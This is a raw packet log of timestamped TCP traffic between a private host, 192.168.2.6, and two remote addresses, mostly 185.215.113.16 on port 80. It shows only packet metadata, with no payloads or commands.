Oct 30, 2024 05:25:24.406431913 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.451147079 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.451159954 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.451169014 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.451179028 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.451189995 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.451201916 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.451214075 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.451231003 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.451284885 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.451288939 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.451298952 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.451307058 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.451330900 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.451330900 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.451340914 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.451353073 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.451380014 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.451457024 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.451473951 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.451499939 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.451528072 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.451600075 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.451611996 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.451627970 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.451631069 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.451638937 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.451641083 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.451688051 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.451821089 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.451829910 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.451848984 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.451858997 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.451863050 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.451869011 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.451879978 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.451886892 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.451889992 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.451909065 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.451911926 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.451919079 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.451931953 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.451936007 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.451965094 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.452138901 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.452150106 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.452161074 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.452171087 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.452182055 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.452215910 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.452363968 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.452410936 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.452419043 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.452429056 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.452459097 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.452486992 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.452498913 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.452512980 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.452523947 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.452524900 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.452534914 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.452548981 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.452575922 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.452738047 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.452775955 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.452781916 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.452790976 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.452805996 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.452822924 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.452920914 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.452931881 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.452943087 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.452953100 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.452961922 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.452970982 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.452996016 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.453141928 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.453151941 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.453162909 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.453191996 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.453202009 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.453263998 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.453277111 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.453293085 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.453301907 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.453305960 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.453319073 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.453341007 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.501415968 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.501439095 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.501446962 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.501456976 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.501466036 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.501477003 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.501482010 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.501516104 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.501558065 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.525305033 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.525329113 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.525341988 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.525352001 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.525362968 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.525384903 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.540491104 CET	50001	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:25:24.540529966 CET	443	50001	188.114.96.3	192.168.2.6
Oct 30, 2024 05:25:24.540632010 CET	50001	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:25:24.541054964 CET	50001	443	192.168.2.6	188.114.96.3
Oct 30, 2024 05:25:24.541071892 CET	443	50001	188.114.96.3	192.168.2.6
Oct 30, 2024 05:25:24.570202112 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.570223093 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.570233107 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.570246935 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.570255041 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.570267916 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.570297956 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.570591927 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.570607901 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.570621967 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.570636988 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.570650101 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.570662975 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.570697069 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.570708036 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.570744991 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.570915937 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.570979118 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.570986986 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.570997000 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.571012974 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.571022987 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.571024895 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.571033955 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.571053028 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.571161032 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.571171045 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.571181059 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.571196079 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.571208954 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.571208954 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.571217060 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.571218014 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.571238995 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.571244955 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.571249008 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.571257114 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.571266890 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.571268082 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.571279049 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.571290016 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.571326971 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.571356058 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.571388006 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.571404934 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.571414948 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.571438074 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.571448088 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.571455002 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.571491957 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.571508884 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.571538925 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.571551085 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.571563959 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.571579933 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.571583986 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.571594954 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.571625948 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.571649075 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.571794033 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.571804047 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.571815014 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.571839094 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.571841002 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.571861982 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.571885109 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.571901083 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.571911097 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.571921110 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.571934938 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.571935892 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.571947098 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.571962118 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.571985006 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.572135925 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.572153091 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.572165012 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.572181940 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.572206020 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.572235107 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.572246075 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.572257042 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.572269917 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.572273016 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.572293997 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.572307110 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.572424889 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.572469950 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.572472095 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.572479963 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.572514057 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.572567940 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.620517015 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.620527029 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.620552063 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.620562077 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.620573997 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.620587111 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.620683908 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.644532919 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.644597054 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.644610882 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.644627094 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.644637108 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.644707918 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.689486980 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.689498901 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.689511061 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.689564943 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.689593077 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.689609051 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.689644098 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.689651012 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.689655066 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.689666033 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.689677000 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.689702988 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.689718008 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.689749002 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.689760923 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.689769983 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.689798117 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.689814091 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.689842939 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.689871073 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.689884901 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.689913034 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.689930916 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.689940929 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.689975977 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.690100908 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.690140963 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.690172911 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.690186024 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.690196991 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.690215111 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.690227985 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.690236092 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.690269947 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.690282106 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.690294981 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.690304995 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.690308094 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.690316916 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.690340996 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.690340996 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.690370083 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.690460920 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.690474033 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.690485001 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.690509081 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.690525055 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.690593958 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.690604925 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.690615892 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.690644026 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.690654993 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.690659046 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.690671921 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.690685987 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.690706968 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.690721035 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.690865993 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.690911055 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.690912962 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.690922976 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.690952063 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.690980911 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.690993071 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.691004038 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.691015959 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.691015959 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.691044092 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.691134930 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.691147089 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.691158056 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.691190004 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.691190004 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.691203117 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.691214085 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.691226959 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.691239119 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.691246033 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.691258907 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.691268921 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.691270113 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.691270113 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.691293001 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.691301107 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.691508055 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.691518068 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.691529036 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.691540956 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.691553116 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.691565990 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.691596031 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.694963932 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.694973946 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.695012093 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.695028067 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.695127010 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.695137978 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.695147991 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.695159912 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.695173025 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.695187092 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.695207119 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.739608049 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.739727974 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.739737034 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.739742041 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.739748955 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.739753962 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.739759922 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.739864111 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.739903927 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.763905048 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.763916969 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.763926983 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.763972998 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.763995886 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.808779001 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.808793068 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.808804035 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.808871984 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.808964014 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.809016943 CET	49997	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:24.809062958 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.809075117 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.809107065 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.809117079 CET	80	49997	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:24.809120893 CET	49997	80	192.168.2.6	185.215.113.16
